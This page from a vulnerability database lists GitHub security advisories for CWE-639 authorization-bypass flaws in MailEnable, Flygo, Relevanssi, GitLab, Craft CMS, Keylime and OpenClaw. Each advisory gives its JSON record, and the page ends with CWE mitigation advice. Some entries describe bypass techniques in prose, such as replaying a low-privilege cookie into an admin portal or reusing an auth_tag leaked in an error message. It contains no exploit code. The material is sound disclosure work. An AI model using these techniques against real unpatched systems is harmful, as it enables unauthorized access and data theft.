CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-44400"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-08T21:16:28Z",
    "severity": "HIGH"
  },
  "details": "MailEnable Enterprise Premium 10.55 and earlier contains an improper authorization vulnerability in the WebAdmin mobile portal that allows attackers to bypass authentication checks by reusing AuthenticationToken cookies generated for low-privileged users. Attackers can obtain a token from the WebMail login endpoint using the PersistentLogin parameter and replay it against the WebAdmin portal to perform highly privileged administrative actions.",
  "id": "GHSA-f3v7-jqh4-whf5",
  "modified": "2026-05-08T21:31:26Z",
  "published": "2026-05-08T21:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44400"
    },
    {
      "type": "WEB",
      "url": "https://www.mailenable.com/Premium-ReleaseNotes.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/mailenable-enterprise-premium-authorization-bypass-via-webadmin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-F423-79C7-G4MQ

Vulnerability from github – Published: 2022-05-24 22:28 – Updated: 2022-05-24 22:28
VLAI
Details

The employee management page of Flygo contains an Insecure Direct Object Reference (IDOR) vulnerability. After being authenticated as a general user, remote attacker can manipulate the user data and then over-write another employee’s user data by specifying that employee’s ID in the API parameter.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-37215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-706"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-09T10:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The employee management page of Flygo contains an Insecure Direct Object Reference (IDOR) vulnerability. After being authenticated as a general user, remote attacker can manipulate the user data and then over-write another employee\u2019s user data by specifying that employee\u2019s ID in the API parameter.",
  "id": "GHSA-f423-79c7-g4mq",
  "modified": "2022-05-24T22:28:35Z",
  "published": "2022-05-24T22:28:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37215"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-4992-dac66-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F44W-WXHF-F354

Vulnerability from github – Published: 2024-01-29 15:30 – Updated: 2025-05-29 18:31
VLAI
Details

The Relevanssi WordPress plugin before 4.22.0, Relevanssi Premium WordPress plugin before 2.25.0 allows any unauthenticated user to read draft and private posts via a crafted request

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-7199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-29T15:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The Relevanssi WordPress plugin before 4.22.0, Relevanssi Premium WordPress plugin before 2.25.0 allows any unauthenticated user to read draft and private posts via a crafted request",
  "id": "GHSA-f44w-wxhf-f354",
  "modified": "2025-05-29T18:31:10Z",
  "published": "2024-01-29T15:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7199"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/0c96a128-4473-41f5-82ce-94bba33ca4a3"
    },
    {
      "type": "WEB",
      "url": "https://www.relevanssi.com/release-notes/premium-2-25-free-4-22-release-notes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F4FF-RC49-G8HC

Vulnerability from github – Published: 2023-04-16 00:30 – Updated: 2024-04-04 03:29
VLAI
Details

An issue was discovered in GitLab Enterprise Edition before 11.1.7, 11.2.x before 11.2.4, and 11.3.x before 11.3.1. Attackers could obtain sensitive information about group names, avatars, LDAP settings, and descriptions via an insecure direct object reference to the "merge request approvals" feature.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-17455"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-15T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in GitLab Enterprise Edition before 11.1.7, 11.2.x before 11.2.4, and 11.3.x before 11.3.1. Attackers could obtain sensitive information about group names, avatars, LDAP settings, and descriptions via an insecure direct object reference to the \"merge request approvals\" feature.",
  "id": "GHSA-f4ff-rc49-g8hc",
  "modified": "2024-04-04T03:29:30Z",
  "published": "2023-04-16T00:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-17455"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/blog/categories/releases"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2018/10/01/security-release-gitlab-11-dot-3-dot-1-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F4H3-QHG5-J6MQ

Vulnerability from github – Published: 2026-06-21 15:31 – Updated: 2026-06-21 15:31
VLAI
Details

Craft CMS versions >= 5.0.0-RC1, <= 5.9.13 and >= 4.0.0-RC1, <= 4.17.7 contain an authorization bypass in the assets/preview-file endpoint. The action does not enforce per-asset view authorization before returning preview content, allowing an authenticated low-privileged user to supply a controlled assetId for an asset they are not permitted to view and still receive preview response data (previewHtml), including a private preview image route containing the target private assetId. Fixed in 5.9.14 and 4.17.8.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-56385"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-21T14:16:26Z",
    "severity": "MODERATE"
  },
  "details": "Craft CMS versions \u003e= 5.0.0-RC1, \u003c= 5.9.13 and \u003e= 4.0.0-RC1, \u003c= 4.17.7 contain an authorization bypass in the assets/preview-file endpoint. The action does not enforce per-asset view authorization before returning preview content, allowing an authenticated low-privileged user to supply a controlled assetId for an asset they are not permitted to view and still receive preview response data (previewHtml), including a private preview image route containing the target private assetId. Fixed in 5.9.14 and 4.17.8.",
  "id": "GHSA-f4h3-qhg5-j6mq",
  "modified": "2026-06-21T15:31:24Z",
  "published": "2026-06-21T15:31:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-44px-qjjc-xrhq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56385"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/d30df3112220db1ffd6726a3ed11857014c7fb27"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/craft-cms-authorization-bypass-in-assets-preview-file-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-F4R5-Q63F-GCWW

Vulnerability from github – Published: 2023-09-06 13:49 – Updated: 2024-09-27 21:25
VLAI
Summary
Keylime registrar and (untrusted) Agent can be bypassed by an attacker
Details

Impact

A security issue was found in the Keylime registrar code which allows an attacker to effectively bypass the challenge-response protocol used to verify that an agent has indeed access to an AIK which in indeed related to the EK.

When an agent starts up, it will contact a registrar and provide a public EK and public AIK, in addition to the EK Certificate. This registrar will then challenge the agent to decrypt a challenge encrypted with the EK.

When receiving the wrong "auth_tag" back from the agent during activation, the registrar answers with an error message that contains the expected correct "auth_tag" (an HMAC which is calculated within the registrar for checking). An attacker could simply record the correct expected "auth_tag" from the HTTP error message and perform the activate call again with the correct expected "auth_tag" for the agent.

The security issue allows an attacker to pass the challenge-response protocol during registration with (almost) arbitrary registration data. In particular, the attacker can provide a valid EK Certificate and EK, which passes verification by the tenant (or registrar), while using a compromised AIK, which is stored unprotected outside the TPM and is unrelated to former two. The attacker then deliberately fails the initial activation call to get to know the correct "auth_tag" and then provides it in a subsequent activation call. This results in an agent which is (incorrectly) registered with a valid EK Certificate, but with a compromised/unrelated AIK.

Patches

Users should upgrade to release 7.5.0

Severity
6.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "keylime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-38201"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-06T13:49:43Z",
    "nvd_published_at": "2023-08-25T17:15:08Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA security issue was found in the Keylime `registrar` code which allows an attacker to effectively bypass the challenge-response protocol used to verify that an `agent` has indeed access to an AIK which in indeed related to the EK.\n\nWhen an `agent` starts up, it will contact a `registrar` and provide a public EK and public AIK, in addition to the EK Certificate. This `registrar` will then challenge the `agent` to decrypt a challenge encrypted with the EK. \n\nWhen receiving the wrong \"auth_tag\" back from the `agent` during activation, the `registrar` answers with an error message that contains the expected correct \"auth_tag\" (an HMAC which is calculated within the `registrar` for checking). An attacker could simply record the correct expected \"auth_tag\" from the HTTP error message and perform the activate call again with the correct expected \"auth_tag\" for the `agent`.\n\nThe security issue allows an attacker to pass the challenge-response protocol during registration with (almost) arbitrary registration data. In particular, the attacker can provide a valid EK Certificate and EK, which passes verification by the `tenant` (or `registrar`), while using a compromised AIK, which is stored unprotected outside the TPM and is unrelated to former two. The attacker then deliberately fails the initial activation call to get to know the correct \"auth_tag\" and then provides it in a subsequent activation call. This results in an `agent` which is (incorrectly) registered with a valid EK Certificate, but with a compromised/unrelated AIK.\n\n### Patches\nUsers should upgrade to release 7.5.0",
  "id": "GHSA-f4r5-q63f-gcww",
  "modified": "2024-09-27T21:25:28Z",
  "published": "2023-09-06T13:49:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keylime/keylime/security/advisories/GHSA-f4r5-q63f-gcww"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38201"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keylime/keylime/commit/9e5ac9f25cd400b16d5969f531cee28290543f2a"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:5080"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-38201"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2222693"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keylime/keylime"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/keylime/PYSEC-2023-160.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZIZZB5NHNCS5D2AEH3ZAO6OQC72IK7WS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Keylime registrar and (untrusted) Agent can be bypassed by an attacker"
}

GHSA-F5FM-9JMP-C88R

Vulnerability from github – Published: 2026-04-28 00:31 – Updated: 2026-05-06 19:03
VLAI
Summary
Duplicate Advisory: OpenClaw: Trailing-dot localhost CDP hosts could bypass remote loopback protections
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-fh32-73r9-rgh5. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.4.2 fails to normalize trailing-dot localhost hosts in remote CDP discovery responses, allowing bypass of loopback protections. Attackers can craft hostile discovery responses returning localhost. to retarget authenticated browser control toward localhost endpoints and expose browser state.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T19:03:41Z",
    "nvd_published_at": "2026-04-28T00:16:26Z",
    "severity": "MODERATE"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-fh32-73r9-rgh5. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.4.2 fails to normalize trailing-dot localhost hosts in remote CDP discovery responses, allowing bypass of loopback protections. Attackers can craft hostile discovery responses returning localhost. to retarget authenticated browser control toward localhost endpoints and expose browser state.",
  "id": "GHSA-f5fm-9jmp-c88r",
  "modified": "2026-05-06T19:03:41Z",
  "published": "2026-04-28T00:31:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-fh32-73r9-rgh5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41372"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/9c22d636697336a6b22b0ae24798d8b8325d7828"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-loopback-protection-bypass-via-trailing-dot-localhost-in-cdp-discovery"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw: Trailing-dot localhost CDP hosts could bypass remote loopback protections",
  "withdrawn": "2026-05-06T19:03:41Z"
}
Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list